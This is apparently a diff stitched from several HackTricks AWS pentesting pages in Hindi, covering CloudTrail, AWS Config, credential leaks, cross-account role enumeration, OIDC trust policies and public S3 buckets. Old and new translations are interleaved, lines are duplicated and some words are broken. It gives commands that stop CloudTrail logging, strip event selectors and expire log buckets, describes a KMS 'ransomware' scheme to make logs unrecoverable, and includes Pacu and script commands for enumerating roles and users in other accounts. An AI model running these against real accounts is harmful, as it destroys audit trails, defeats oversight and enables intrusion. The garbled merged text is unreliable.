```bash
aws cloudtrail stop-logging --name [trail-name]
```
#### मल्टी-रीजन लॉगिंग को अक्षम करें
#### multi-region logging को disable करें
```bash
aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services
```
#### ईवेंट चयनकर्ताओं द्वारा लॉगिंग बंद करें
#### Event Selectors द्वारा Logging को Disable करें
```bash
# Leave only the ReadOnly selector
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region <region>
@@ -236,41 +236,41 @@ aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '
# Remove all selectors (stop Insights)
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[]' --region <region>
```
पहले उदाहरण में, एकल इवेंट चयनकर्ता को एक JSON एरे के रूप में एकल ऑब्जेक्ट के साथ प्रदान किया गया है। `"ReadWriteType": "ReadOnly"` यह संकेत करता है कि **इवेंट चयनकर्ता केवल पढ़ने के लिए इवेंट कैप्चर करन चाहिए** (इसलिए CloudTrail अंतर्दृष्टि **लिखने के इवेंट की जांच नहीं करेगी** उदाहरण के लिए)।
पहले उदाहरण में, एक single event selector एक JSON array के रूप में एक single object के साथ दिया गया है। `"ReadWriteType": "ReadOnly"` यह दर्शाता है कि **event selector को केवल read-only events ही capture करन चाहिए** (इसलिए उदाहरण के लिए CloudTrail insights **write** events की जांच नहीं करेगा)।
आप अपने विशिष्ट आवश्यकताओं के आधार पर इवेंट चयनकर्ता को अनुकूलित कर सकते हैं।
आप अपनी specific requirements के आधार पर event selector को customize कर सकते हैं।
#### S3 जीवनचक्र नीति के माध्यम से लॉग हटाना
#### Logs deletion via S3 lifecycle policy
```bash
aws s3api put-bucket-lifecycle --bucket <bucket_name> --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region <region>
```
### बकेट कॉन्फ़िगरेशन को संशोधित करना
### Bucket Configuration को बदलना
- S3 बकेट को हटाएँ
- बकेट नीति को बदलें ताकि CloudTrail सेवा से किसी भी लेखन को अस्वीकार किया जा सके
- S3 बकेट में जीवनचक्र नीति जोड़ें ताकि वस्तुओं को हटाया जा सके
- CloudTrail लॉग को एन्क्रिप्ट करने के लिए उपयोग किए गए kms कुंजी को निष्क्रिय करें
- S3 bucket को delete करें
- bucket policy को change करके CloudTrail service से आने वाले किसी भी writes को deny करें
- S3 bucket में lifecycle policy add करें ताकि objects delete हों
- CloudTrail logs को encrypt करने के लिए इस्तेमाल होने वाली kms key को disable करें
### Cloudtrail रैनसमवेयर
### Cloudtrail ransomware
#### S3 रैनसमवेयर
#### S3 ransomware
आप **एक विषम कुंजी उत्पन्न** कर सकते हैं और **CloudTrail को उस कुंजी के साथ डेटा एन्क्रिप्ट** करने के लिए बना सकते हैं**निजी कुंजी को हटा सकते हैं** ताकि CloudTrail सामग्री को पुनर्प्राप्त नहीं किया जा सके\
यह मूल रूप से एक **S3-KMS रैनसमवेयर** है जो कि इस में समझाया गया है:
आप **एक asymmetric key generate** कर सकते हैं और **CloudTrail से data को उस key के साथ encrypt** करा सकते हैं, फि**private key delete** कर दें ताकि CloudTrail contents recover न कि जा सकें cannot be recovered.\
यह मूल रूप से एक **S3-KMS ransomware** है,िसे यहाँ explain किया गया है:
{{#ref}}
../../aws-post-exploitation/aws-s3-post-exploitation/README.md
{{#endref}}
**KMS रैनसमवेयर**
**KMS ransomware**
यह विभिन्न अनुमतियों की आवश्यकताओं के साथ पिछले हमले को करने का सबसे आसान तरीका है:
यह अलग permissions requirements के साथ पिछले attack को perform करने का एक आसान तरीका है:
{{#ref}}
../../aws-post-exploitation/aws-kms-post-exploitation/README.md
{{#endref}}
## **संदर्भ**
## **References**
- [https://cloudsecdocs.com/aws/services/logging/cloudtrail/#inventory](https://cloudsecdocs.com/aws/services/logging/cloudtrail/#inventory)
@@ -4,43 +4,43 @@
## AWS Config
AWS Config **संसाधन परिवर्तनों को कैप्चर करता है**, इसलिए Config द्वारा समर्थित किसी भी संसाधन में परिवर्तन को रिकॉर्ड किया जा सकता है, जो **यह रिकॉर्ड करेगा कि क्या बदला गया है साथ ही अन्य उपयोगी मेटाडेटा, सभी को एक फ़ाइल में रखा गया है जिसे कॉन्फ़िगरेशन आइटम कहा जाता है**, एक CI यह सेवा **क्षेत्र विशेष** है।
AWS Config **resource changes capture करता है**, इसलिए Config द्वारा समर्थित resource में किसी भी बदलाव को रिकॉर्ड किया जा सकता है, जो **क्या बदला गया, साथ में अन्य उपयोगी metadata, यह सब configuration item नाम की file में stored होता है**, एक CI. यह service **region specific** है।
एक कॉन्फ़िगरेशन आइटम या **CI** जैसा कि इसे कहा जाता है, AWS Config का एक प्रमुख घटक है। यह एक JSON फ़ाइल से बना है जो **कॉन्फ़िगरेशन जानकारी, संबंध जानकारी और अन्य मेटाडेटा को एक समर्थित संसाधन के समय-विशिष्ट स्नैपशॉट दृश्य के रूप में रखता है**। सभी जानकारी जो AWS Config किसी संसाधन के लिए रिकॉर्ड कर सकता है, CI के भीतर कैप्चर की जाती है। एक CI **हर बार** बनाया जाता है जब किसी समर्थित संसाधन की कॉन्फ़िगरेशन में किसी भी तरह से परिवर्तन किया जाता है। प्रभावित संसाधन के विवरण को रिकॉर्ड करने के अलावा, AWS Config किसी भी सीधे संबंधित संसाधनों के लिए भी CIs को रिकॉर्ड करेगा ताकि यह सुनिश्चित किया जा सके कि परिवर्तन ने उन संसाधनों को भी प्रभावित नहीं किया।
A configuration item या **CI**, जैसा कि इसे कहा जाता है, AWS Config का एक key component है। यह एक JSON file से बना होता है जो **configuration information, relationship information और अन्य metadata को supported resource के point-in-time snapshot view के रूप में रखता है**। AWS Config resource के लिए जो भी information record कर सकता है, वह सब CI के भीतर capture होती है। जब भी किसी supported resource की configuration में किसी भी तरह का बदलाव किया जाता है, हर बार एक CI बनता है। प्रभावित resource के details record करने के अलावा, AWS Config directly related resources के लिए भी CIs record करेगा ताकि यह सुनिश्चित हो सके कि बदलाव ने उन resources को भी affect नहीं किया।
- **मेटाडेटा**: कॉन्फ़िगरेशन आइटम के बारे में विवरण शामिल करता है। एक संस्करण ID और एक कॉन्फ़िगरेशन ID, जो CI को अद्वितीय रूप से पहचानता है। अन्य जानकारी में एक MD5Hash शामिल हो सकता है जो आपको पहले से रिकॉर्ड किए गए अन्य CIs की तुलना करने की अनुमति देता है।
- **विशेषताएँ**: यह वास्तविक संसाधन के खिलाफ सामान्य **विशेषता जानकारी रखता है**। इस अनुभाग में, हमारे पास एक अद्वितीय संसाधन ID और किसी भी कुंजी मान टैग होते हैं जो संसाधन से जुड़े होते हैं। संसाधन प्रकार भी सूचीबद्ध है। उदाहरण के लिए, यदि यह एक EC2 उदाहरण के लिए CI ा, तो सूचीबद्ध संसाधन प्रकार नेटवर्क इंटरफेस या उस EC2 उदाहरण के लिए इलास्टिक IP पता हो सकते हैं।
- **संबंध**: यह किसी भी जुड़े **संबंध के लिए जानकारी रखता है जो संसाधन हो सकत है**। इसलिए इस अनुभाग में, यह संसाधन के अन्य संसाधनों के साथ किसी भी संबंध का स्पष्ट विवरण दिखाएगा। उदाहरण के लिए, यदि CI एक EC2 उदाहरण के लिए था, तो संबंध अनुभाग VPC के साथ कनेक्शन और उस सबनेट को दिखा सकता है जिसमें EC2 उदाहरण स्थित है।
- **वर्तमान कॉन्फ़िगरेशन:** यह वही जानकारी प्रदर्शित करेगा जो AWS CLI द्वारा किए गए वर्णन या सूची API कॉल करने पर उत्पन्न होी। AWS Config समान जानकारी प्राप्त करने के लिए समान API कॉल का उपयोग करता है।
- **संबंधित घटनाएँ**: यह AWS CloudTrail से संबंधित है। यह **AWS CloudTrail घटना ID को प्रदर्शित करेगा जो इस CI के निर्माण को ट्रिगर करने वाले परिवर्तन से संबंधित है**। प्रत्येक संसाधन के खिलाफ किए गए प्रत्येक परिवर्तन के लिए एक नया CI बनाया जाता है। परिणामस्वरूप, विभिन्न CloudTrail घटना IDs बनाई जाएंग
- **Metadata**: configuration item के बारे में details contain करता है। एक version ID और configuration ID, जो CI को uniquely identify करती है। अन्य information में MD5Hash शामिल हो सकता है,िससे आप उसी resource के against पहले से recorded अन्य CIs की तुलना कर सकते है
- **Attributes**: यह actual resource के against common **attribute information** hold करता है। इस section में, हमारे पास एक unique resource ID और resource से जुड़े any key value tags भी होते हैं। resource type भी listed होता है। उदाहरण के लिए, अगर यह एक EC2 instance के लिए CI होता, तो listed resource types network interface, या उस EC2 instance के लिए elastic IP address हो सकते हैं।
- **Relationships**: यह किसी भी connected **relationship** की information hold करता है जो resource के हो सकत है। इसलिए इस section में, यह resource के अन्य resources के साथ किसी भी relationship का clear description दिखाएगा। उदाहरण के लिए, अगर CI एक EC2 instance के लिए था, तो relationship section VPC के connection के साथ-साथ उस subnet को भी दिखा सकता है जिसमें EC2 instance reside करता है।
- **Current configuration:** यह वही information display करेगा जो AWS CLI से किए गए describe या list API call पर generate होी। AWS Config वही information पाने के लिए वही API calls use करता है।
- **Related events**: यह AWS CloudTrail से related है। यह **AWS CloudTrail event ID** display करेगा जो इस CI के creation को trigger करने वाले change से related है। resource पर किए गए हर change के लिए एक नया CI बनाया जाता है। परिणामस्वरूप, अलग-अलग CloudTrail event IDs बनंग
**कॉन्फ़िगरेशन इतिहास**: संसाधनों के कॉन्फ़िगरेशन इतिहास को कॉन्फ़िगरेशन आइटम के लिए प्राप्त करना संभव है। एक कॉन्फ़िगरेशन इतिहास हर 6 घंटे में वितरित किया जाता है और एक विशेष संसाधन प्रकार के लिए सभी CIs को शामिल करत है।
**Configuration History**: configuration items की मदद से resources का configuration history obtain करना possible है। एक configuration history हर 6 hours में delivered होती है और किसी particular resource type के सभी CI's contain करत है।
**कॉन्फ़िगरेशन स्ट्रीम**: डेटा के विश्लेषण को सक्षम करने के लिए कॉन्फ़िगरेशन आइटम को एक SNS टॉपिक पर भेजा जाता है।
**Configuration Streams**: data के analysis को enable करने के लिए configuration items को एक SNS Topic पर send किया जाता है।
**कॉन्फ़िगरेशन स्नैपशॉट**: सभी समर्थित संसाधनों का समय-विशिष्ट स्नैपशॉट बनाने के लिए कॉन्फ़िगरेशन आइटम का उपयोग किया जाता है।
**Configuration Snapshots**: configuration items का use all supported resources का point in time snapshot create करने के लिए किया जाता है।
**S3 का उपयोग किया जाता है** कॉन्फ़िगरेशन इतिहास फ़ाइलों और आपके डेटा के किसी भी कॉन्फ़िगरेशन स्नैपशॉट को एकल बकेट में स्टोर करने के लिए, जिसे कॉन्फ़िगरेशन रिकॉर्डर के भीतर परिभाषित किया गया है। यदि आपके पास कई AWS खाते हैं, तो आप अपने प्राथमिक खाते के लिए एक ही S3 बकेट में अपने कॉन्फ़िगरेशन इतिहास फ़ाइलों को एकत्रित करना चाह सकते हैं। हालाकि, आपको इस सेवा के सिद्धांत, config.amazonaws.com, और आपके द्वितीयक खातों को आपके प्राथमिक खाते में S3 बकेट के लिए लिखने की अनुमति देने की आवश्यकता होग
**S3 is used to store** Configuration History files और आपके data के any Configuration snapshots को एक single bucket में, जो Configuration recorder के भीतर defined होता है। अगर आपके multiple AWS accounts हैं, तो आप अपनी configuration history files को अपने primary account के same S3 bucket में aggregate करना चाह सकते हैं। हालाकि, आपको इस service principle, config.amazonaws.com, और अपने secondary accounts को अपने primary account के S3 bucket में write access देने के लिए write access grant करना होग
### कार्यप्रणाली
### Functioning
- जब परिवर्तन किए जाते हैं, उदाहरण के लिए सुरक्षा समूह या बकेट एक्सेस कंट्रोल सूची में —> AWS Config द्वारा उठाए गए एक घटना के रूप में फायर करें
- सब कुछ S3 बकेट में स्टोर करें
- सेटअप के आधार पर, जैसे ही कुछ बदलता है, यह एक लैम्ब्डा फ़ंक्शन को ट्रिगर कर सकता है या AWS Config सेटिंग्स के माध्यम से समय-समय पर देखने के लिए लैम्ब्डा फ़ंक्शन को शेड्यूल कर सकता है
- लैम्ब्डा Config को फीडबैक करता है
- यदि नियम टूट गया है, तो Config एक SNS को सक्रिय करता है
- जब changes किए जाते हैं, उदाहरण के लिए security group या bucket access control list में —> एक Event के रूप में fire off होते हैं, जिसे AWS Config pick up करता है
- सब कुछ S3 bucket में store करता है
- setup के अनुसार, जैसे ही कुछ बदलता है, यह एक lambda function trigger कर सकता है OR periodic रूप से AWS Config settings देखने के लिए lambda function schedule कर सकता है
- Lambda वापस Config को feed करता है
- अगर rule break हुआ है, तो Config एक SNS fire up करता है
![](<../../../../images/image (126).png>)
![AWS Config functioning diagram showing events flowing through Config rules to event targets and investigation](<../../../../images/image (126).png>)
### Config नियम
### Config Rules
Config नियम आपके संसाधनों के बीच **विशिष्ट अनुपालन जांच** **और नियंत्रण लागू करने में मदद करने का एक शानदार तरीका है**, और आपको प्रत्येक संसाधन प्रकार के लिए एक आदर्श तैनाती विनिर्देश अपनाने की अनुमति देत है। प्रत्येक नियम **आधारभूत रूप से एक लैम्ब्डा फ़ंक्शन है** जो जब बुलाया जाता है तो संसाधन का मूल्यांकन करता है और नियम के साथ अनुपालन परिणाम निर्धारित करने के लिए कुछ सरल लॉजिक करता है। **जब भी एक परिवर्तन किया जाता है** आपके समर्थित संसाधनों में से एक पर, **AWS Config किसी भी कॉन्फ़िगरेशन नियमों के खिलाफ अनुपालन की जांच करेगा जो आपके पास हैं**।\
AWS के पास सुरक्षा छाते के तहत कई **पूर्वनिर्धारित नियम** हैं जो उपयोग के लिए तैयार हैं। उदाहरण के लिए, Rds-storage-encrypted यह जांचता है कि क्या आपक RDS डेटाबेस उदाहरणों द्वारा स्टोरेज एन्क्रिप्शन सक्रिय है। Encrypted-volumes यह जांचता है कि क्या कोई EBS वॉल्यूम जो एक संलग्न स्थिति में है, एन्क्रिप्टेड है
Config rules resources पर specific compliance checks **और controls enforce** करने में मदद करने का एक great way हैं, और आपको अपने हर resource type के लिए एक ideal deployment specification adopt करने की अनुमति देत हैहर rule **essentially एक lambda function** है जो call होने पर resource का evaluate करता है और rule के साथ compliance result determine करने के लिए कुछ simple logic carry out करता है। **हर बार जब** आपके supported resources में से किसी एक में बदलाव किया जाता है, **AWS Config आपके द्वारा place किए गए किसी भी config rules के against compliance check करेगा**।\
AWS के पास security umbrella के तहत कई **predefined rules** हैं जो use करने के लिए ready हैं। उदाहरण के लिए, Rds-storage-encrypted. यह check करता है कि आपक RDS database instances द्वारा storage encryption activated है या नहीं। Encrypted-volumes. यह check करता है कि attached state वाले किसी भी EBS volumes encrypted हैं या नहीं
- **AWS प्रबंधित नियम**: पूर्वनिर्धारित नियमों का एक सेट जो बहुत से सर्वोत्तम प्रथाओं को कवर करता है, इसलिए अपने स्वयं के सेटअप करने से पहले इन नियमों को ब्राउज़ करना हमेशा फायदेमंद होता है क्योंकि नियम पहले से ही मौजूद होने की संभावना होती है।
- **कस्टम नियम**: आप विशिष्ट कस्टम कॉन्फ़िगरेशन की जांच करने के लिए अपने स्वयं के नियम बना सकते हैं।
- **AWS Managed rules**: predefined rules का set जो बहुत सारी best practices cover करता है, इसलिए अपनी खुद की setup करने से पहले इन rules को browse करना हमेशा worth है क्योंकि rule already exist करने की chance हो सकती है।
- **Custom rules**: आप specific customconfigurations check करने के लिए अपनी own rules बना सकते हैं।
आपको AWS से वृद्धि के लिए संपर्क करने से पहले प्रति क्षेत्र 50 कॉन्फ़िगरेशन नियमों की सीमा है।\
गैर-अनुपालन परिणामों को हटाया नहीं जाता है
Region प्रति 50 config rules की limit है, उससे पहले AWS से increase के लिए contact करना होगा।\
Non compliant results DELETE नहीं किए जाते
{{#include ../../../../banners/hacktricks-training.md}}
@@ -4,7 +4,8 @@
## AWS Credentials Leaks
AWS खाते की पहुँच या जानकारी प्राप्त करने का एक सामान्य तरीका है **searching for leaks** आप **google dorks** का उपयोग करके, संगठन और उसके कर्मचारियों के **public repos** (Github या अन्य प्लेटफ़ॉर्म पर) की जाँच करके, **credentials leaks databases** में खोज करके... या किसी भी अन्य जगह जहाँ आपको कंपनी और उसके क्लाउड इंफा के बारे में जानकारी मिल सकती ह, leaks खोज सकते हैं.\ कुछ उपयोगी **tools**:
AWS account तक access या information पाने का एक common तरीका है **searching for leaks**. आप **google dorks**, **organization** और organization के **workers** के **Github** या अन्य platforms पर मौजूद **public repos** को check करके, **credentials leaks databases** में search करके... या किसी भी और जगह search करके जहाँ आपको company और उसकी cloud infa से जुड़ी कोई जानकारी मिल सकती ह, leaks ढूंढ सकते हैं।\
कुछ useful **tools**:
- [https://github.com/carlospolop/leakos](https://github.com/carlospolop/leakos)
- [https://github.com/carlospolop/pastos](https://github.com/carlospolop/pastos)
@@ -12,7 +13,7 @@ AWS खाते की पहुँच या जानकारी प्र
## AWS Unauthenticated Enum & Access
There are several services in AWS that could be configured giving some kind of access to all Internet or to more people than expected. Check here how:
AWS में कई services ऐसी हैं जिन्हें इस तरह configure किया जा सकता है कि वे सभी Internet या expected से ज़्यादा लोगों को किसी न किसी तरह का access दें। यहाँ देखें कैसे:
- [**Accounts Unauthenticated Enum**](aws-accounts-unauthenticated-enum/index.html)
- [**API Gateway Unauthenticated Enum**](aws-api-gateway-unauthenticated-enum/index.html)
@@ -41,19 +42,19 @@ There are several services in AWS that could be configured giving some kind of a
## Cross Account Attacks
In the talk [**Breaking the Isolation: Cross-Account AWS Vulnerabilities**](https://www.youtube.com/watch?v=JfEFIcpJ2wk) it's presented how some services allow(ed) any AWS account accessing them because **AWS services without specifying accounts ID** were allowed.
टॉक [**Breaking the Isolation: Cross-Account AWS Vulnerabilities**](https://www.youtube.com/watch?v=JfEFIcpJ2wk) में दिखाया गया है कि कुछ services कैसे किसी भी AWS account को उन्हें access करने देती थीं, क्योंकि **AWS services without specifying accounts ID** allowed थे।
टॉक के दौरान उन्होंने कई उदाहरण दिए, जैसे कि S3 buckets **allowing cloudtrai**l (of **any AWS** account) to **write to them**:
टॉक के दौरान उन्होंने कई examples बताए, जैसे S3 buckets का **allowing cloudtrai**l (किसी भी **AWS** account का) **write to them** करना:
![](<../../../images/image (260).png>)
![S3 bucket policy JSON allowing the CloudTrail service principal to write objects](<../../../images/image (260).png>)
Other services found vulnerable:
अन्य vulnerable services मिलीं:
- AWS Config
- Serverless repository
## Tools
- [**cloud_enum**](https://github.com/initstring/cloud_enum): Multi-cloud OSINT tool. **Find public resources** in AWS, Azure, and Google Cloud. Supported AWS services: Open / Protected S3 Buckets, awsapps (WorkMail, WorkDocs, Connect, etc.)
- [**cloud_enum**](https://github.com/initstring/cloud_enum): Multi-cloud OSINT tool. AWS, Azure, और Google Cloud में **Find public resources** करता है। Supported AWS services: Open / Protected S3 Buckets, awsapps (WorkMail, WorkDocs, Connect, etc.)
{{#include ../../../banners/hacktricks-training.md}}
@@ -2,42 +2,42 @@
{{#include ../../../../banners/hacktricks-training.md}}
## खाते में Roles और Usernames को सूचीबद्ध करना
## किसी account में Roles और Usernames enumerate करें
### ~~Assume Role Brute-Force~~
> [!CAUTION]
> **यह तकनीक अब काम नहीं करती** क्योंकि चाहे role मौजूद हो या न हो आप हमेशा यह त्रुटि प्राप्त करते है:
> **यह technique अब काम नहीं करती** क्योंकि role मौजूद हो या न हो, आपको हमेशा यह error मिलता है:
>
> `An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::947247140022:user/testenv is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::429217632764:role/account-balanceasdas`
>
> आप इसे **रन करके टेस्ट** कर सकते हैं:
> आप इसे **test कर सकते हैं**:
>
> `aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example`
यदि आप **assume a role without the necessary permissions** करने का प्रयास करहैं तो यह एक AWS त्रुटि संदेश उत्पन्न करता है। उदाहरण के लिए, यदि unauthorized ह, AWS यह लौटा सकता है:
ज़रूरी permissions के बिना किसी role को **assume** करने की कोशिश करपर AWS error message trigger होता है। उदाहरण के लिए, अगर unauthorized ह, तो AWS यह return कर सकता है:
```ruby
An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS
```
यह संदेश role के अस्तित्व की पुष्टि करता है लेकिन यह बताता है कि उसकी assume role policy आपक assume करने की अनुमति नहीं देती। इसके विपरीत, **non-existent role को assume करने का प्रयास एक अलग त्रुटि उत्पन्न करता है**:
यह संदेश role के अस्तित्व की पुष्टि करता है, लेकिन संकेत देता है कि उसकी assume role policy आपक assumption की अनुमति नहीं देती। इसके विपरीत, **एक non-existent role को assume करने की कोशिश करने पर अलग error मिलता है**:
```less
An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole
```
दिलचस्प बात यह है कि यह तरीका **existing और non-existing roles के बीच अंतर पहचानने**े लिए अलग-अलग AWS accounts में भी लागू होत है। एक वैध AWS account ID और लक्षित wordlist के साथ, कोई बिना किसी अंतर्निहित प्रतिबंध के account में मौजूद roles को enumerate क सकता है।
दिलचस्प बात यह है कि **existing और non-existing roles के बीच अंतर करने**ी यह method अलग-अलग AWS accounts में भी लागू होत है। एक valid AWS account ID और targeted wordlist के साथ, account में मौजूद roles को बिना किसी inherent limitation के enumerate किया जा सकता है।
आप इस [script to enumerate potential principals](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum) का उपयोग इस issue का दुरुपयोग करने के लिए कर सकते हैं।
आप इस [script to enumerate potential principals](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum) का use करके इस issue का abuse कर सकते हैं।
### Trust Policies: Brute-Force Cross Account roles and users
एक **IAM role की trust policy को कॉन्फ़िगर या अपडेट करने में यह परिभाषित किया जाता है कि कौन से AWS resources या services उस role को assume करने और temporary credentials प्राप्त करने की अनुमति रखते हैं**यदि policy में निर्दिष्ट resource **exists**, तो trust policy **successfully** सहेज ली जाती है। हालांकि, यदि resource **does not exist**, तो एक **error is generated** होती है, जो इंगित करती है कि एक अवैध principal प्रदान किया गया था।
**IAM role की trust policy को configure या update करने में यह define करना शामिल है कि किन AWS resources या services को उस role को assume करने और temporary credentials प्राप्त करने की permission है**। अगर policy में specified resource **exists** करता है, तो trust policy **successfully** save हो जाती है। हालांकि, अगर resource **exist नहीं** करता, तो एक **error** generate होती है, जिससे पता चलता है कि एक invalid principal िया गया था।
> [!WARNING]
> ध्यान दें कि उस resource में आप एक cross account role या user निर्दिष्ट कर सकते हैं:
> ध्यान दें कि उस resource में आप cross account role या user specify कर सकते हैं:
>
> - `arn:aws:iam::acc_id:role/role_name`
> - `arn:aws:iam::acc_id:user/user_name`
यह एक policy उदाहरण है:
यह एक policy example है:
```json
{
"Version": "2012-10-17",
@@ -54,9 +54,9 @@ An error occurred (AccessDenied) when calling the AssumeRole operation: Not auth
```
#### GUI
यह वह **त्रुटि** है जिसे आप तब पाएँगे यदि आप किसी ऐसे **role का उपयोग** करते हैं जो मौजूद नहीं है। यदि role **मौजूद** है, तो policy बिना किसी त्रुटि के **सहेज** दी जाएगी। (यह त्रुटि अपडेट के लिए है, लेकिन यह बनाने के समय भी काम करत है)
यह वह **error** है ज आपको तब मिलेगा यदि आप **role जिसका अस्तित्व नहीं है** use करते हैं। यदि role **exist** करता है, तो policy **saved** हो जाएगी बिना किसी error के। (Error update के लिए है, लेकिन यह create करते समय भी काम करत है)
![](<../../../images/image (153).png>)
![AWS IAM edit trust policy page showing an invalid principal error for a non-existent role ARN](<../../../images/image (153).png>)
#### CLI
```bash
@@ -91,19 +91,19 @@ aws iam create-role --role-name Test-Role --assume-role-policy-document file://a
aws iam create-role --role-name Test-Role2 --assume-role-policy-document file://a.json
An error occurred (MalformedPolicyDocument) when calling the CreateRole operation: Invalid principal in policy: "AWS":"arn:aws:iam::316584767888:role/account-balanceefd23f2"
```
आप इस प्रक्रिया को [https://github.com/carlospolop/aws_tools](https://github.com/carlospolop/aws_tools) के साथ स्वचालित कर सकते हैं
आप इस प्रक्रिया को [https://github.com/carlospolop/aws_tools](https://github.com/carlospolop/aws_tools) के साथ automate कर सकते हैं
- `bash unauth_iam.sh -t user -i 316584767888 -r TestRole -w ./unauth_wordlist.txt`
या [Pacu](https://github.com/RhinoSecurityLabs/pacu) का उपयोग करके:
हम [Pacu](https://github.com/RhinoSecurityLabs/pacu) का उपयोग कर रहे हैं:
- `run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txt`
- `run iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt`
- उदाहरण के लिए उपयोग किया गया `admin` role **आपके खाते का वह role है जिसे pacu द्वारा impersonate किया जाता है** ताकि यह enumeration के लिए आवश्यक policies बना सके
- उदाहरण में इस्तेमाल किया गया `admin` role आपके account में एक **role** है जिसे pacu द्वारा impersonated किया जाता है ताकि enumeration के लिए ज़रूरी policies create की जा सके
### Privesc
यदि role गलत तरीके से कॉन्फ़िगर किया गया है और किसी को भी से assume करने की अनुमति देता है:
यदि role गलत तरीके से configured था और किसी को भी से assume करने की अनुमति देता था:
```json
{
"Version": "2012-10-17",
@@ -118,12 +118,12 @@ An error occurred (MalformedPolicyDocument) when calling the CreateRole operatio
]
}
```
हमलावर बस इसे ग्रहण कर सकता है।
हमलावर इसे बस मान सकता है।
## तृतीय-पक्ष OIDC Federation
## Third Party OIDC Federation
कल्पना कीजिए कि आप किसी **Github Actions workflow** को पढ़ने में सक्षम हो जाते हैं जो **AWS** के अंदर एक **role** तक पहुँच रहा है.\\
यह ट्रस्ट निम्नलिखित **trust policy** के साथ एक role तक पहुँच दे सकता है:
कल्पना करें कि आप **Github Actions workflow** पढ़ने में सफल हो जाते हैं जो **AWS** के अंदर एक **role** access कर रहा है\
यह trust आपको निम्नलिखित **trust policy** वाले role तक access दे सकता है:
```json
{
"Version": "2012-10-17",
@@ -143,18 +143,18 @@ An error occurred (MalformedPolicyDocument) when calling the CreateRole operatio
]
}
```
यह trust policy सही हो सकती है, लेकिन **अधिक शर्तों की कमी** आपको इसे अविश्वसनीय समझने के लिए प्रेरित करनी चाहिए.\
यह इसलिए है कि पिछला role **Github Actions से कोई भी** assume क सकता है! आपको conditions में org name, repo name, env, brach... जैसी अन्य चीज़ें भी specify करनी चाहिए...
यह trust policy सही हो सकती है, लेकिन **और conditions की कमी** आपको इस पर भरोसा नहीं करने देनी चाहिए\
ऐसा इसलिए है क्योंकि previous role **Github Actions से ANYONE** द्वारा assume किया जा सकता है! आपको conditions में और चीजें भी specify करनी चाहिए, जैसे org name, repo name, env, brach...
एक और संभावित misconfiguration यह है कि आप निम्नलिखित जैसी **एक शर्त जोड़ दें**:
एक और potential misconfiguration है **एक condition जोड़ना** जैसे निम्नलिखित:
```json
"StringLike": {
"token.actions.githubusercontent.com:sub": "repo:org_name*:*"
}
```
ध्यान दें कि **wildcard** (\*) **कोलन** (:) से पहले है। आप **org_name1** जैस एक org बना सकते हैं और Github Action से **assume the role** कर सकते हैं।
ध्यान दें कि **wildcard** (\*) **colon** (:) से पहले। आप **org_name1** जैस एक org बना सकते हैं और Github Action से **assume the role** कर सकते हैं।
## संदर्भ
## References
- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
- [https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/](https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/)
@@ -4,41 +4,41 @@
## S3 Public Buckets
A bucket is considered **“public”** if **any user can list the contents** of the bucket, and **“private”** if the bucket's contents can **only be listed or written by certain users**.
एक bucket को **“public”** माना जाता है यदि **कोई भी user bucket की contents list कर सके**, और **“private”** तब माना जाता है यदि bucket की contents **सिर्फ कुछ users द्वारा list या write** की जा सकें।
कंपनियाँ कभी-कभी **buckets की permissions गलत-कॉन्फ़िगर** रखती हैं ज access या तो सब कुछ के लिए दे सकती हैं या AWS में किसी भी account में authenticated किसी भी व्यक्ति को दे सकती है (यानी किसी भी व्यक्ति को)। ध्यान दें कि ऐस misconfigurations में भी कुछ actions निष्पादित नहीं हो सकते क्योंकि buckets क अपन access control lists (ACLs) हो सकत हैं।
Companies के पास **buckets permissions miss-configured** हो सकते हैं,िससे access या तो सब चीज़ों तक, या AWS में किसी भी account के authenticated सभी users तक मिल जाता है (यानी किसी को भी)। ध्यान दें कि ऐस misconfigurations के बावजूद कुछ actions perform नहीं किए जा सकते, क्योंकि buckets क अपन access control lists (ACLs) हो सकत हैं।
**Learn about AWS-S3 misconfiguration here:** [**http://flaws.cloud**](http://flaws.cloud/) **and** [**http://flaws2.cloud/**](http://flaws2.cloud)
**AWS-S3 misconfiguration के बारे में यहाँ जानें:** [**http://flaws.cloud**](http://flaws.cloud/) **और** [**http://flaws2.cloud/**](http://flaws2.cloud)
### Finding AWS Buckets
िभिन्न तरीके जिनसे पता चलता है कि कोई webpage कुछ resources स्टोर करने के लिए AWS का उपयोग कर रहा है:
ेबसाइट AWS का उपयोग करके कुछ resources store कर रही है या नहीं, यह पता करने के अलग-अलग तरीके:
#### Enumeration & OSINT:
- **wappalyzer** browser plugin का उपयोग
- burp का उपयोग करते हुए (**spidering** the web) या पेज पर मैन्युअली नेविगेट करके सभी **resources** जो **loaded** होते हैं, History में save हो जाएंगे।
- निम्न domains में **resources** के लिए जाँच करें:
- Using burp (**spidering** the web) या page को manually navigate करके; जितने भी **resources** **loaded** होंगे, वे History में save हो जाएंगे।
- निम्न domains में **resources के लिए check करें**:
```
http://s3.amazonaws.com/[bucket_name]/
http://[bucket_name].s3.amazonaws.com/
```
- **CNAMES** की जाँच करें क्योंकि `resources.domain.com`े पास CNAME `bucket.s3.amazonaws.com` हो सकता है
